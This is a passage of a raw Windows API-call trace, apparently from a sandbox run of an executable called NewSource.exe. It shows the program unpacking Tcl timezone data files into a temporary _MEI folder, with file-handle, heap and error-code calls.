lpSystemTime=0x4f8ce0) returned 1 [0040.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.705] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.705] CloseHandle (hObject=0x10c) returned 1 [0040.705] GetLastError () returned 0x0 [0040.705] SetLastError (dwErrCode=0x0) [0040.705] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.705] GetFileType (hFile=0x10c) returned 0x1 [0040.705] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.705] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.705] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.705] CloseHandle (hObject=0x10c) returned 1 [0040.705] GetLastError () returned 0x0 [0040.705] SetLastError (dwErrCode=0x0) [0040.705] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tbilisi") returned 69 [0040.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tbilisi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tbilisi"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.706] GetLastError () returned 0x2 [0040.706] SetLastError (dwErrCode=0x2) [0040.706] GetLastError () returned 0x2 [0040.706] SetLastError (dwErrCode=0x2) [0040.706] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tbilisi", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tbilisi", lpFilePart=0x0) returned 0x44 [0040.706] GetLastError () returned 0x2 [0040.706] SetLastError (dwErrCode=0x2) [0040.706] GetLastError () returned 0x2 [0040.706] SetLastError (dwErrCode=0x2) [0040.706] GetLastError () returned 0x2 [0040.706] SetLastError (dwErrCode=0x2) [0040.706] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tbilisi") returned 69 [0040.706] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tbilisi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tbilisi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.706] GetFileType (hFile=0x10c) returned 0x1 [0040.706] htonl (hostlong=0xb7060000) returned 0x6b7 [0040.706] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.706] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x6b7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x6b7, lpOverlapped=0x0) returned 1 [0040.707] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.707] CloseHandle (hObject=0x10c) returned 1 [0040.707] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.707] htonl (hostlong=0x30000000) returned 0x30 [0040.707] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.707] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.707] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.708] GetFileType (hFile=0x10c) returned 0x1 [0040.708] htonl (hostlong=0x39205b00) returned 0x5b2039 [0040.708] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd039, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.708] htonl (hostlong=0x8c020000) returned 0x28c [0040.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x28c) returned 0x550600 [0040.708] htonl (hostlong=0x8c020000) returned 0x28c [0040.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.708] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.708] htonl (hostlong=0xc0c0000) returned 0xc0c [0040.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc0c) returned 0x55e278 [0040.708] htonl (hostlong=0x8c020000) returned 0x28c [0040.708] htonl (hostlong=0xc0c0000) returned 0xc0c [0040.708] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.708] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.708] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.708] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.708] CloseHandle (hObject=0x10c) returned 1 [0040.708] GetLastError () returned 0x0 [0040.708] SetLastError (dwErrCode=0x0) [0040.708] GetLastError () returned 0x0 [0040.708] SetLastError (dwErrCode=0x0) [0040.708] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.708] GetFileType (hFile=0x10c) returned 0x1 [0040.708] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.708] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.709] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.709] CloseHandle (hObject=0x10c) returned 1 [0040.709] GetLastError () returned 0x0 [0040.709] SetLastError (dwErrCode=0x0) [0040.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.709] GetFileType (hFile=0x10c) returned 0x1 [0040.709] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.709] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.709] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.709] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.709] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.709] CloseHandle (hObject=0x10c) returned 1 [0040.709] GetLastError () returned 0x0 [0040.709] SetLastError (dwErrCode=0x0) [0040.709] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.710] GetFileType (hFile=0x10c) returned 0x1 [0040.710] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.710] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.710] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.710] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.710] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.710] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.710] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.710] CloseHandle (hObject=0x10c) returned 1 [0040.710] GetLastError () returned 0x0 [0040.710] SetLastError (dwErrCode=0x0) [0040.710] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tehran") returned 68 [0040.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tehran" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tehran"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.710] GetLastError () returned 0x2 [0040.710] SetLastError (dwErrCode=0x2) [0040.710] GetLastError () returned 0x2 [0040.710] SetLastError (dwErrCode=0x2) [0040.710] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tehran", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tehran", lpFilePart=0x0) returned 0x43 [0040.710] GetLastError () returned 0x2 [0040.710] SetLastError (dwErrCode=0x2) [0040.710] GetLastError () returned 0x2 [0040.710] SetLastError (dwErrCode=0x2) [0040.710] GetLastError () returned 0x2 [0040.711] SetLastError (dwErrCode=0x2) [0040.711] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tehran") returned 68 [0040.711] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.711] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Tehran" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\tehran"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.711] GetFileType (hFile=0x10c) returned 0x1 [0040.711] htonl (hostlong=0xc0c0000) returned 0xc0c [0040.711] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.711] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc0c, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc0c, lpOverlapped=0x0) returned 1 [0040.712] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.712] CloseHandle (hObject=0x10c) returned 1 [0040.712] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.712] htonl (hostlong=0x30000000) returned 0x30 [0040.712] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.712] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.712] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.712] GetFileType (hFile=0x10c) returned 0x1 [0040.712] htonl (hostlong=0xc5225b00) returned 0x5b22c5 [0040.712] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd2c5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.712] htonl (hostlong=0x8b000000) returned 0x8b [0040.712] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0040.712] htonl (hostlong=0x8b000000) returned 0x8b [0040.712] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.712] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.713] htonl (hostlong=0xb3000000) returned 0xb3 [0040.713] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x550600 [0040.713] htonl (hostlong=0x8b000000) returned 0x8b [0040.713] htonl (hostlong=0xb3000000) returned 0xb3 [0040.713] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.713] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.713] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.713] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.713] CloseHandle (hObject=0x10c) returned 1 [0040.713] GetLastError () returned 0x0 [0040.713] SetLastError (dwErrCode=0x0) [0040.713] GetLastError () returned 0x0 [0040.713] SetLastError (dwErrCode=0x0) [0040.713] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.713] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.713] GetFileType (hFile=0x10c) returned 0x1 [0040.713] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.713] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.713] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.713] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.713] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.713] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.713] CloseHandle (hObject=0x10c) returned 1 [0040.714] GetLastError () returned 0x0 [0040.714] SetLastError (dwErrCode=0x0) [0040.714] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.714] GetFileType (hFile=0x10c) returned 0x1 [0040.714] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.714] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.714] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.714] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.714] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.714] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.714] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.714] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.714] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.714] CloseHandle (hObject=0x10c) returned 1 [0040.714] GetLastError () returned 0x0 [0040.714] SetLastError (dwErrCode=0x0) [0040.714] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, 